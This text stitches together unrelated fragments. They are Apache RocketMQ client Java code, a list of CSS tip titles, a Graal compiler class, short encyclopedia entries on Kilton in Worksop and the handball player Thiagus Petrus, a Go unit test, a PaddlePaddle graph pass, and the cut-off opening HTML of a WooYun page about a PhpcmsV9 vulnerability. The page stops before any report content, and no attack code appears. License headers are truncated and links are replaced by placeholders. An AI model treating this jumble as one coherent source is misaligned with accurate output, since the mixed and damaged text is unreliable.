import org.apache.rocketmq.remoting.protocol.header.ConsumeMessageDirectlyResultRequestHeader;
import org.apache.rocketmq.remoting.protocol.header.GetConsumerRunningInfoRequestHeader;
import org.apache.rocketmq.remoting.protocol.header.GetConsumerStatusRequestHeader;
import org.apache.rocketmq.remoting.protocol.header.NotifyConsumerIdsChangedRequestHeader;
import org.apache.rocketmq.remoting.protocol.header.ReplyMessageRequestHeader;
import org.apache.rocketmq.remoting.protocol.header.ResetOffsetRequestHeader;
import org.apache.rocketmq.logging.org.slf4j.Logger;
import org.apache.rocketmq.logging.org.slf4j.LoggerFactory;
public class ClientRemotingProcessor implements NettyRequestProcessor {
private final Logger logger = LoggerFactory.getLogger(ClientRemotingProcessor.class);
private final MQClientInstance mqClientFactory;
public ClientRemotingProcessor(final MQClientInstance mqClientFactory) {
this.mqClientFactory = mqClientFactory;
}
@Override
public RemotingCommand processRequest(ChannelHandlerContext ctx,
RemotingCommand request) throws RemotingCommandException {
switch (request.getCode()) {
case RequestCode.CHECK_TRANSACTION_STATE:
return this.checkTransactionState(ctx, request);
case RequestCode.NOTIFY_CONSUMER_IDS_CHANGED:
return this.notifyConsumerIdsChanged(ctx, request);
case RequestCode.RESET_CONSUMER_CLIENT_OFFSET:
return this.resetOffset(ctx, request);
case RequestCode.GET_CONSUMER_STATUS_FROM_CLIENT:
return this.getConsumeStatus(ctx, request);
case RequestCode.GET_CONSUMER_RUNNING_INFO:
return this.getConsumerRunningInfo(ctx, request);
case RequestCode.CONSUME_MESSAGE_DIRECTLY:
return this.consumeMessageDirectly(ctx, request);
case RequestCode.PUSH_REPLY_MESSAGE_TO_CLIENT:
return this.receiveReplyMessage(ctx, request);
default:
break;
}
return null;
}
@Override
public boolean rejectRequest() {
return false;
}
public RemotingCommand checkTransactionState(ChannelHandlerContext ctx,
RemotingCommand request) throws RemotingCommandException {
final CheckTransactionStateRequestHeader requestHeader =
(CheckTransactionStateRequestHeader) request.decodeCommandCustomHeader(CheckTransactionStateRequestHeader.class);
final ByteBuffer byteBuffer = ByteBuffer.wrap(request.getBody());
final MessageExt messageExt = MessageDecoder.decode(byteBuffer);
if (messageExt != null) {
if (StringUtils.isNotEmpty(this.mqClientFactory.getClientConfig().getNamespace())) {
messageExt.setTopic(NamespaceUtil
.withoutNamespace(messageExt.getTopic(), this.mqClientFactory.getClientConfig().getNamespace()));
}
String transactionId = messageExt.getProperty(MessageConst.PROPERTY_UNIQ_CLIENT_MESSAGE_ID_KEYIDX);
if (null != transactionId && !"".equals(transactionId)) {
messageExt.setTransactionId(transactionId);
}
final String group = messageExt.getProperty(MessageConst.PROPERTY_PRODUCER_GROUP);
if (group != null) {
MQProducerInner producer = this.mqClientFactory.selectProducer(group);
if (producer != null) {
final String addr = RemotingHelper.parseChannelRemoteAddr(ctx.channel());
producer.checkTransactionState(addr, messageExt, requestHeader);
} else {
logger.debug("checkTransactionState, pick producer by group[{}] failed", group);
}
} else {
logger.warn("checkTransactionState, pick producer group failed");
}
} else {
logger.warn("checkTransactionState, decode message failed");
}
return null;
}
public RemotingCommand notifyConsumerIdsChanged(ChannelHandlerContext ctx,
RemotingCommand request) throws RemotingCommandException {
try {
final NotifyConsumerIdsChangedRequestHeader requestHeader =
(NotifyConsumerIdsChangedRequestHeader) request.decodeCommandCustomHeader(NotifyConsumerIdsChangedRequestHeader.class);
logger.info("receive broker's notification[{}], the consumer group: {} changed, rebalance immediately",
RemotingHelper.parseChannelRemoteAddr(ctx.channel()),
requestHeader.getConsumerGroup());
this.mqClientFactory.rebalanceImmediately();
} catch (Exception e) {
logger.error("notifyConsumerIdsChanged exception", UtilAll.exceptionSimpleDesc(e));
}
return null;
}
public RemotingCommand resetOffset(ChannelHandlerContext ctx,
RemotingCommand request) throws RemotingCommandException {
final ResetOffsetRequestHeader requestHeader =
(ResetOffsetRequestHeader) request.decodeCommandCustomHeader(ResetOffsetRequestHeader.class);
logger.info("invoke reset offset operation from broker. brokerAddr={}, topic={}, group={}, timestamp={}",
RemotingHelper.parseChannelRemoteAddr(ctx.channel()), requestHeader.getTopic(), requestHeader.getGroup(),
requestHeader.getTimestamp());
Map<MessageQueue, Long> offsetTable = new HashMap<>();
if (request.getBody() != null) {
ResetOffsetBody body = ResetOffsetBody.decode(request.getBody(), ResetOffsetBody.class);
offsetTable = body.getOffsetTable();
}
this.mqClientFactory.resetOffset(requestHeader.getTopic(), requestHeader.getGroup(), offsetTable);
return null;
}
@Deprecated
public RemotingCommand getConsumeStatus(ChannelHandlerContext ctx,
RemotingCommand request) throws RemotingCommandException {
final RemotingCommand response = RemotingCommand.createResponseCommand(null);
final GetConsumerStatusRequestHeader requestHeader =
(GetConsumerStatusRequestHeader) request.decodeCommandCustomHeader(GetConsumerStatusRequestHeader.class);
Map<MessageQueue, Long> offsetTable = this.mqClientFactory.getConsumerStatus(requestHeader.getTopic(), requestHeader.getGroup());
GetConsumerStatusBody body = new GetConsumerStatusBody();
body.setMessageQueueTable(offsetTable);
response.setBody(body.encode());
response.setCode(ResponseCode.SUCCESS);
return response;
}
private RemotingCommand getConsumerRunningInfo(ChannelHandlerContext ctx,
RemotingCommand request) throws RemotingCommandException {
final RemotingCommand response = RemotingCommand.createResponseCommand(null);
final GetConsumerRunningInfoRequestHeader requestHeader =
(GetConsumerRunningInfoRequestHeader) request.decodeCommandCustomHeader(GetConsumerRunningInfoRequestHeader.class);
ConsumerRunningInfo consumerRunningInfo = this.mqClientFactory.consumerRunningInfo(requestHeader.getConsumerGroup());
if (null != consumerRunningInfo) {
if (requestHeader.isJstackEnable()) {
Map<Thread, StackTraceElement[]> map = Thread.getAllStackTraces();
String jstack = UtilAll.jstack(map);
consumerRunningInfo.setJstack(jstack);
}
response.setCode(ResponseCode.SUCCESS);
response.setBody(consumerRunningInfo.encode());
} else {
response.setCode(ResponseCode.SYSTEM_ERROR);
response.setRemark(String.format("The Consumer Group <%s> not exist in this consumer", requestHeader.getConsumerGroup()));
}
return response;
}
private RemotingCommand consumeMessageDirectly(ChannelHandlerContext ctx,
RemotingCommand request) throws RemotingCommandException {
final RemotingCommand response = RemotingCommand.createResponseCommand(null);
final ConsumeMessageDirectlyResultRequestHeader requestHeader =
(ConsumeMessageDirectlyResultRequestHeader) request
.decodeCommandCustomHeader(ConsumeMessageDirectlyResultRequestHeader.class);
final MessageExt msg = MessageDecoder.clientDecode(ByteBuffer.wrap(request.getBody()), true);
ConsumeMessageDirectlyResult result =
this.mqClientFactory.consumeMessageDirectly(msg, requestHeader.getConsumerGroup(), requestHeader.getBrokerName());
if (null != result) {
response.setCode(ResponseCode.SUCCESS);
response.setBody(result.encode());
} else {
response.setCode(ResponseCode.SYSTEM_ERROR);
response.setRemark(String.format("The Consumer Group <%s> not exist in this consumer", requestHeader.getConsumerGroup()));
}
return response;
}
private RemotingCommand receiveReplyMessage(ChannelHandlerContext ctx,
RemotingCommand request) throws RemotingCommandException {
final RemotingCommand response = RemotingCommand.createResponseCommand(null);
long receiveTime = System.currentTimeMillis();
ReplyMessageRequestHeader requestHeader = (ReplyMessageRequestHeader) request.decodeCommandCustomHeader(ReplyMessageRequestHeader.class);
try {
MessageExt msg = new MessageExt();
msg.setTopic(requestHeader.getTopic());
msg.setQueueId(requestHeader.getQueueId());
msg.setStoreTimestamp(requestHeader.getStoreTimestamp());
if (requestHeader.getBornHost() != null) {
msg.setBornHost(NetworkUtil.string2SocketAddress(requestHeader.getBornHost()));
}
if (requestHeader.getStoreHost() != null) {
msg.setStoreHost(NetworkUtil.string2SocketAddress(requestHeader.getStoreHost()));
}
byte[] body = request.getBody();
int sysFlag = requestHeader.getSysFlag();
if ((sysFlag & MessageSysFlag.COMPRESSED_FLAG) == MessageSysFlag.COMPRESSED_FLAG) {
try {
Compressor compressor = CompressorFactory.getCompressor(MessageSysFlag.getCompressionType(sysFlag));
body = compressor.decompress(body);
} catch (IOException e) {
logger.warn("err when uncompress constant", e);
}
}
msg.setBody(body);
msg.setFlag(requestHeader.getFlag());
MessageAccessor.setProperties(msg, MessageDecoder.string2messageProperties(requestHeader.getProperties()));
MessageAccessor.putProperty(msg, MessageConst.PROPERTY_REPLY_MESSAGE_ARRIVE_TIME, String.valueOf(receiveTime));
msg.setBornTimestamp(requestHeader.getBornTimestamp());
msg.setReconsumeTimes(requestHeader.getReconsumeTimes() == null ? 0 : requestHeader.getReconsumeTimes());
logger.debug("receive reply message :{}", msg);
processReplyMessage(msg);
response.setCode(ResponseCode.SUCCESS);
response.setRemark(null);
} catch (Exception e) {
logger.warn("unknown err when receiveReplyMsg", e);
response.setCode(ResponseCode.SYSTEM_ERROR);
response.setRemark("process reply message fail");
}
return response;
}
private void processReplyMessage(MessageExt replyMsg) {
final String correlationId = replyMsg.getUserProperty(MessageConst.PROPERTY_CORRELATION_ID);
final RequestResponseFuture requestResponseFuture = RequestFutureHolder.getInstance().getRequestFutureTable().get(correlationId);
if (requestResponseFuture != null) {
requestResponseFuture.putResponseMessage(replyMsg);
RequestFutureHolder.getInstance().getRequestFutureTable().remove(correlationId);
if (requestResponseFuture.getRequestCallback() != null) {
requestResponseFuture.getRequestCallback().onSuccess(replyMsg);
}
} else {
String bornHost = replyMsg.getBornHostString();
logger.warn("receive reply message, but not matched any request, CorrelationId: {} , reply from host: {}",
correlationId, bornHost);
}
}
}
```
|
```css
`vh` and `vw`, `vmin` and `vmax`
Default to a transparent `border-color` before adding a border to on `:hover` state elements
Matching images to a website's color scheme
How to flip an image
Disclose file format of links
```
|
```java
/*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package jdk.graal.compiler.core.aarch64;
import jdk.graal.compiler.core.common.LIRKind;
import jdk.graal.compiler.core.common.spi.LIRKindTool;
import jdk.graal.compiler.debug.GraalError;
import jdk.vm.ci.aarch64.AArch64Kind;
public class AArch64LIRKindTool implements LIRKindTool {
@Override
public LIRKind getIntegerKind(int bits) {
if (bits <= 8) {
return LIRKind.value(AArch64Kind.BYTE);
} else if (bits <= 16) {
return LIRKind.value(AArch64Kind.WORD);
} else if (bits <= 32) {
return LIRKind.value(AArch64Kind.DWORD);
} else {
assert bits <= 64 : bits;
return LIRKind.value(AArch64Kind.QWORD);
}
}
@Override
public LIRKind getFloatingKind(int bits) {
switch (bits) {
case 32:
return LIRKind.value(AArch64Kind.SINGLE);
case 64:
return LIRKind.value(AArch64Kind.DOUBLE);
default:
throw GraalError.shouldNotReachHereUnexpectedValue(bits); // ExcludeFromJacocoGeneratedReport
}
}
@Override
public LIRKind getObjectKind() {
return LIRKind.reference(AArch64Kind.QWORD);
}
@Override
public LIRKind getWordKind() {
return LIRKind.value(AArch64Kind.QWORD);
}
@Override
public LIRKind getNarrowOopKind() {
return LIRKind.compressedReference(AArch64Kind.DWORD);
}
@Override
public LIRKind getNarrowPointerKind() {
return LIRKind.value(AArch64Kind.DWORD);
}
}
```
|
Kilton is a large suburban area in the northeast of the market town of Worksop in the ceremonial county of Nottinghamshire in the East Midlands of England. It consists of a series of large post-World War II housing developments, some of which are council estates.
The suburb was, since the late nineteenth century, home to Kilton Hospital, which was, along with Victoria Hospital, located on Memorial Avenue in Worksop, one of the town's main hospitals. The hospital existed until the late 1980s, at a time when it chiefly dealt with maternity. Today the surviving main building, with its yellow brick facade, and stag frieze in its pediment, has been incorporated into Bassetlaw District General Hospital, which is located just behind it, and now used as the administration block.
Populated places in Nottinghamshire
Worksop
|
Thiagus Petrus Gonçalves dos Santos (born 25 January 1989) is a Brazilian professional handball player for FC Barcelona and the Brazilian national team.
Achievements
EHF Champions League:
Winner: 2021, 2022
IHF Super Globe:
Winner: 2019
Liga ASOBAL:
Winner: 2019, 2020, 2021, 2022, 2023
Copa del Rey:
Winner: 2019, 2020, 2021, 2022, 2023
Copa ASOBAL:
Winner: 2019, 2020, 2021, 2022, 2023
Supercopa ASOBAL:
Winner: 2019, 2020, 2021, 2022
Supercopa Ibérica:
Winner: 2022
Hungarian League:
Winner: 2018
Individual awards
2018 Pan American Men's Handball Championship: Best left back
2022 South and Central American Men's Handball Championship: MVP
EHF Excellence Awards: Best defender 2022/23
References
External links
1989 births
Living people
Brazilian male handball players
Sportspeople from Juiz de Fora
Expatriate handball players
Brazilian expatriate sportspeople in Hungary
Brazilian expatriate sportspeople in Spain
SC Pick Szeged players
FC Barcelona Handbol players
Liga ASOBAL players
Handball players at the 2016 Summer Olympics
Olympic handball players for Brazil
Handball players at the 2015 Pan American Games
Handball players at the 2019 Pan American Games
Pan American Games medalists in handball
Pan American Games gold medalists for Brazil
Pan American Games bronze medalists for Brazil
South American Games gold medalists for Brazil
South American Games medalists in handball
Competitors at the 2018 South American Games
Medalists at the 2015 Pan American Games
Medalists at the 2019 Pan American Games
Handball players at the 2020 Summer Olympics
|
```go
package keeper
import (
"context"
"testing"
gogoproto "github.com/cosmos/gogoproto/proto"
"github.com/stretchr/testify/require"
"cosmossdk.io/core/router"
)
type mockRouterService struct {
router.Service
panic bool
}
func (m *mockRouterService) InvokeUntyped(ctx context.Context, req gogoproto.Message) (res gogoproto.Message, err error) {
if m.panic {
panic("test-fail")
}
return nil, nil
}
func TestSafeExecuteHandler(t *testing.T) {
t.Parallel()
require := require.New(t)
ctx := context.Background()
r, err := safeExecuteHandler(ctx, nil, &mockRouterService{panic: true})
require.ErrorContains(err, "test-fail")
require.Nil(r)
_, err = safeExecuteHandler(ctx, nil, &mockRouterService{panic: false})
require.Nil(err)
}
```
|
```c++
//
//
// path_to_url
//
// Unless required by applicable law or agreed to in writing, software
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#include "paddle/fluid/framework/ir/ipu/delete_scale_op_pass.h"
#include "paddle/common/ddim.h"
#include "paddle/fluid/framework/ir/graph_helper.h"
#include "paddle/fluid/framework/ir/graph_pattern_detector.h"
#include "paddle/fluid/framework/ir/pass_tester_helper.h"
#include "paddle/fluid/framework/op_registry.h"
#include "paddle/fluid/framework/variable_helper.h"
#include "paddle/fluid/platform/device/ipu/popart_canonicalization/canonicalization_utils.h"
namespace paddle {
namespace framework {
namespace ir {
// this pass is used to optimize scale operator whose scale = 1 and bias = 0.
// scale will not be optimized if it is the only one operator in the graph.
void DeleteScaleOpPass::ApplyImpl(ir::Graph* graph) const {
VLOG(10) << "enter DeleteScaleOpPass::ApplyImpl";
VLOG(10) << "Raw Graph: ";
VLOG(10) << DebugString(graph);
auto nodes = ir::TopologySortOperations(*graph);
// delete op
for (auto node : nodes) {
if (!node->Op()) {
continue;
}
auto op = node->Op();
if (op->Type() == "scale") {
auto input_var_node = node->inputs[0];
auto output_var_node = node->outputs[0];
// only optimize scale *1 + 0
auto scale = PADDLE_GET_CONST(float, op->GetAttr("scale"));
auto bias = PADDLE_GET_CONST(float, op->GetAttr("bias"));
if (scale != 1 || bias != 0) {
return;
}
// only one op and it is scale , do not optimize
if (input_var_node->inputs.size() == 0 &&
output_var_node->outputs.size() == 0) {
return;
}
VLOG(10) << "scale is to be optimized "
<< " scale: " << scale << " bias: " << bias;
// build link in nodes
ir::Node* next_op_node = nullptr;
ir::Node* pre_op_node = nullptr;
// scale is not the last one
if (node->outputs[0]->outputs.size() > 0) {
next_op_node = node->outputs[0]->outputs[0];
input_var_node->outputs.push_back(next_op_node);
next_op_node->inputs.push_back(input_var_node);
platform::ipu::DisConnectNodes(output_var_node, node);
platform::ipu::DisConnectNodes(input_var_node, node);
auto var_map = next_op_node->Op()->Inputs();
for (auto& name_m : var_map) {
if (std::find(name_m.second.begin(),
name_m.second.end(),
output_var_node->Name()) != name_m.second.end()) {
std::vector<std::string> new_inputs;
for (auto& i_n : name_m.second) {
if (i_n != output_var_node->Name()) {
new_inputs.push_back(i_n);
}
}
new_inputs.push_back(input_var_node->Name());
next_op_node->Op()->SetInput(name_m.first, new_inputs);
next_op_node->Op()->Flush();
}
}
GraphSafeRemoveNodes(graph, {node, output_var_node});
} else { // scale is not the first one
pre_op_node = node->inputs[0]->inputs[0];
output_var_node->inputs.push_back(pre_op_node);
pre_op_node->outputs.push_back(output_var_node);
platform::ipu::DisConnectNodes(input_var_node, node);
platform::ipu::DisConnectNodes(output_var_node, node);
auto var_map = pre_op_node->Op()->Inputs();
std::vector<std::string> new_outputs;
for (auto& name_m : var_map) {
if (std::find(name_m.second.begin(),
name_m.second.end(),
input_var_node->Name()) != name_m.second.end()) {
for (auto& i_n : name_m.second) {
if (i_n != input_var_node->Name()) {
new_outputs.push_back(i_n);
}
}
new_outputs.push_back(output_var_node->Name());
pre_op_node->Op()->SetOutput(name_m.first, new_outputs);
pre_op_node->Op()->Flush();
}
}
GraphSafeRemoveNodes(graph, {node, input_var_node});
}
}
}
VLOG(10) << "Post Graph: ";
VLOG(10) << DebugString(graph);
VLOG(10) << "leave DeleteScaleOpPass::ApplyImpl";
}
} // namespace ir
} // namespace framework
} // namespace paddle
REGISTER_PASS(delete_scale_op_pass, paddle::framework::ir::DeleteScaleOpPass);
```
|
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "path_to_url">
<html xmlns="path_to_url">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta http-equiv="x-ua-compatible" content="ie=7"/>
<title> PhpcmsV9 2013 | WooYun-2013-17119 | WooYun.org </title>
<meta name="author" content="80sec"/>
<meta name="copyright" content="path_to_url"/>
<meta name="keywords" content="phpcms,shell,/,wooyun,,web,,,,,"/>
<meta name="description" content="
|WooYun,,,"/>
<link rel="icon" href="path_to_url" sizes="32x32" />
<link href="../css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
<script src="path_to_url" type="text/javascript"></script>
</head>
<body id="bugDetail">
<style>
#myBugListTab { position:relative; display:inline; border:none }
#myBugList { position:absolute; display:none; margin-left:309px; * margin-left:-60px; * margin-top:18px ; border:#c0c0c0 1px solid; padding:2px 7px; background:#FFF }
#myBugList li { text-align:left }
</style>
<script type="text/javascript">
$(document).ready(function(){
if ( $("#__cz_push_d_object_box__") ) {
$("script[src^='path_to_url").attr("src"," ").remove();
$("#__cz_push_d_object_box__").empty().remove();
$("a[id^='__czUnion_a']").attr("href","#").remove();
}
if ( $("#ooDiv") ) {
$("#ooDiv").empty().parent("div").remove();
}
$("#myBugListTab").toggle(
function(){
$("#myBugList").css("display","block");
},
function(){
$("#myBugList").css("display","none");
}
);
if ( $(window).scrollTop() > 120 ) {
$("#back-to-top").fadeIn(300);
} else {
$("#back-to-top").fadeOut(300);
}
$(window).scroll(function(){
if ( $(window).scrollTop() > 120 ) {
$("#back-to-top").fadeIn(300);
} else {
$("#back-to-top").fadeOut(300);
}
});
$("#back-to-top a").click(function() {
$('body,html').animate({scrollTop:0},300);
return false;
});
$("#go-to-comment a").click(function() {
var t = $("#replys").offset().top - 52;
$('body,html').animate({scrollTop:t},300);
return false;
});
});
function gofeedback(){
var bugid=$("#fbid").val();
if(bugid){
var url="/feedback.php?bugid="+bugid;
}else{
var url="/feedback.php"
}
window.open(url);
}
</script>
<div class="go-to-wrapper">
<ul class="go-to">
<li id="go-to-comment" title=""><a href="wooyun-2013-017119#"></a></li>
<li id="go-to-feedback" title=""><a href="javascript:void(0)" onclick="gofeedback()"></a></li>
<li id="back-to-top" title=""><a href="wooyun-2013-017119#"></a></li>
</ul>
</div>
<div class="banner">
<div class="logo">
<h1>WooYun.org</h1>
<div class="weibo"><iframe width="136" height="24" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" scrolling="no" border="0" src="path_to_url"></iframe>
</div>
<div class="wxewm">
<a class="ewmthumb" href="javascript:void(0)"><span><img src="path_to_url"width="220" border="0"></span><img src="path_to_url"width="22" border="0"></a>
</div>
</div>
<div class="login">
<a href="path_to_url"></a> | <a href="path_to_url" class="reg"></a>
</div>
</div>
<div class="nav" id="nav_sc">
<ul>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li class="new"><a href="path_to_url"></a></li>
<!--li><a href="/corp_actions"></a></li-->
<!--<li><a target='_blank' href="path_to_url"></a></li>-->
<li><a href="path_to_url" target="_blank" style="color:rgb(246,172,110);font-size:14px;font-weight:blod"></a></li>
<!--li><a href="/job/"></a></li-->
<li><a href="path_to_url" target="_blank"></a></li>
<li><a href="path_to_url" target="_blank"></a></li>
<li><a href="path_to_url"></a></li>
</ul>
<form action="path_to_url" method="post" id="searchbox">
<input type="text" name="q" id="search_input" />
<input type="submit" value="" id="search_button" />
</form>
</div>
<div class="bread" style="padding-top: 4px;">
<div style="float:left"><a href="path_to_url">WooYun</a> >> <a href="wooyun-2013-017119#"></a></div>
</div>
<script language="javascript">
var _LANGJS = {"COMMENT_LIKE_SELF":"\u4e0d\u80fd\u81ea\u5df1\u8d5e\u81ea\u5df1\u7684\u8bc4\u8bba","COMMENT_LIKED":"\u5df2\u8d5e\u6b64\u8bc4\u8bba","COMMENT_NOT":"\u6b64\u8bc4\u8bba\u4e0d\u5b58\u5728","COMMENT_FILL":"\u8bf7\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","COMMENT_STAT":"\u8bc4\u8bba\u4e0d\u80fd\u4e3a\u7a7a","COMMENT_LOGIN":"\u767b\u9646\u540e\u624d\u80fd\u8bc4\u8bba","COMMENT_GOOD_DONE":"\u5df2\u8d5e\u8fc7\u6b64\u6761\u8bc4\u8bba","COMMENT_SELF":"\u4e0d\u80fd\u8bc4\u4ef7\u81ea\u5df1\u53d1\u5e03\u7684\u8bc4\u8bba","COMMENT_CLICK_FILL":"\u70b9\u51fb\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","FAIL":"\u64cd\u4f5c\u5931\u8d25","FAIL_MANAGE":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u4e0e\u7ba1\u7406\u5458\u8054\u7cfb","FAIL_NO_WHITEHATS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u767d\u5e3d\u5b50","FAIL_NO_CORPS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u5382\u5546","BUGS_CORPS_SELECT":"\u9009\u62e9\u5382\u5546(\u53ef\u8f93\u5165\u5173\u952e\u5b57\u641c\u7d22)","BUGS_CORPS_OTHER":"Other\/\u5176\u5b83\u5382\u5546","BUGS_CORPS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u7c7b\u578b","BUGS_CORPS_NAME_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u540d\u79f0","BUGS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u7c7b\u578b\uff0c\u4e71\u9009\u6263\u5206","BUGS_TITLE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u6807\u9898","BUGS_HARMLEVEL_STAT":"\u8be5\u6f0f\u6d1e\u7684\u5371\u5bb3\u7b49\u7ea7","BUGS_DESCRIPTION_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u7b80\u8981\u63cf\u8ff0\uff0c\u53ef\u4ee5\u7b80\u5355\u63cf\u8ff0\u6f0f\u6d1e\u7684\u5371\u5bb3\u548c\u6210\u56e0\uff0c\u4e0d\u8981\u900f\u6f0f\u6f0f\u6d1e\u7684\u7ec6\u8282","BUGS_CONTENT_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u8be6\u7ec6\u63cf\u8ff0\uff0c\u8bf7\u5c3d\u91cf\u591a\u7684\u6df1\u5165\u7ec6\u8282\u4ee5\u65b9\u4fbf\u5bf9\u6f0f\u6d1e\u7684\u7406\u89e3\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_POC_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6982\u5ff5\u6027\u8bc1\u660e\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_PATCH_STAT":"\u5efa\u8bae\u7684\u6f0f\u6d1e\u4fee\u590d\u65b9\u6848\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_TEST_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6807\u51c6\u6d4b\u8bd5\u4ee3\u7801\u4ee5\u66f4\u4e3a\u65b9\u4fbf\u7684\u5bf9\u6f0f\u6d1e\u8fdb\u884c\u6d4b\u8bd5\u548c\u9a8c\u8bc1\uff0c\u6d4b\u8bd5\u4ee3\u7801\u5bf9\u5916\u9ed8\u8ba4\u4e0d\u663e\u793a\uff0c<br\/>\u5176\u4ed6\u767d\u5e3d\u5b50\u652f\u4ed8\u4e4c\u4e91\u5e01\u67e5\u770b\u540e\u4f60\u5c06\u83b7\u5f97\u989d\u5916\u4e4c\u4e91\u5e01\uff0c<br\/>\u540c\u65f6\u4e5f\u5c06\u5728\u4f60\u7684\u4e2a\u4eba\u9875\u9762\u4f53\u73b0\u4f60\u7684\u6d4b\u8bd5\u4ee3\u7801\u7f16\u5199\u80fd\u529b\u3002","BUGS_QUESTION_SELECT":"\u8bf7\u9009\u62e9\u95ee\u9898\u5382\u5546","BUGS_TITLE_NOTICE":"\u6f0f\u6d1e\u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a","BUGS_RANK_NOTICE1":"\u8bf7\u586b\u5199\u81ea\u8bc4Rank","BUGS_RANK_NOTICE2":"\u81ea\u8bc4Rank\u4e3a\u5927\u4e8e0\u7684\u6570\u5b57","BUGS_TYPE_SELECT":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7c7b\u578b","BUGS_TYPE_NOTICE":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u7c7b\u578b","BUGS_HARMLEVEL_SELECT":"\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_NOTICE":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_LOWER":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4f4e \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a1-5","BUGS_HARMLEVEL_MIDDLE":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4e2d \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a5-10","BUGS_HARMLEVEL_HIGH":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u9ad8 \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a10-20","BUGS_AREA_SELECT":"\u8bf7\u9009\u62e9\u5730\u533a\uff01","BUGS_DOMAILS":"\u6f0f\u6d1e\u6240\u5728\u57df\u540d(\u5982qq.com)","BUGS_DOMAIN_FILL":"\u8bf7\u586b\u5199\u57df\u540d\uff01","BUGS_DETAIL_MORE":"\u67e5\u770b\u8be6\u60c5","BUGS_IGNORE_DAYS":"\u8ddd\u6f0f\u6d1e\u5ffd\u7565\u8fd8\u6709","BUGS_CONFIRM_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb","BUGS":"\u6f0f\u6d1e","BUGS_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u5411\u516c\u4f17\u516c\u5f00\u8fd8\u6709","BUGS_IGNORE_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u672a\u786e\u8ba4\u65e0\u5f71\u54cd\u5ffd\u7565\u8fd8\u6709","BUGS_REPAIR_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb\u4fee\u590d\u6f0f\u6d1e","BUGS_HARMLEVEL_REMIND":"\u8bf7\u9009\u62e9\u5371\u5bb3\u7b49\u7ea7","BUGS_RANK_STAT":"rank\u4e3a1-20\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT1":"rank\u4e3a1-5\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT2":"rank\u4e3a5-10\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT3":"rank\u4e3a10-20\u7684\u6b63\u6574\u6570","BUGS_COMPLEMENT_REASON":"\u6dfb\u52a0\u5bf9\u6f0f\u6d1e\u7684\u8865\u5145\u8bf4\u660e\u4ee5\u53ca\u505a\u51fa\u8bc4\u4ef7\u7684\u7406\u7531","BUGS_REPLY_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u56de\u590d","BUGS_IGNORE_CONFIRM":"\u786e\u5b9a\u5ffd\u7565\u6b64\u6f0f\u6d1e\u5417","BUGS_STATUS_NEW_UPDATE":"\u66f4\u6539\u6f0f\u6d1e\u7684\u6700\u65b0\u72b6\u6001","BUGS_STATUS_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u72b6\u6001","BUGS_PUBLIC_ADVANCE":"\u786e\u5b9a\u63d0\u524d\u516c\u5f00\u6b64\u6f0f\u6d1e\u5417","BUGS_COUNT":"\u6f0f\u6d1e\u6570","BUGS_REPLY_HAT":"\u56de\u590d\u6b64\u4eba","BUGS_DELAY_CONFIRM":"\u786e\u5b9a\u8981\u5ef6\u671f\u4e48?","BUGS_DELAY":"\u7533\u8bf7\u5ef6\u671f","BUGS_DELAY_DONE":"\u5df2\u7ecf\u5ef6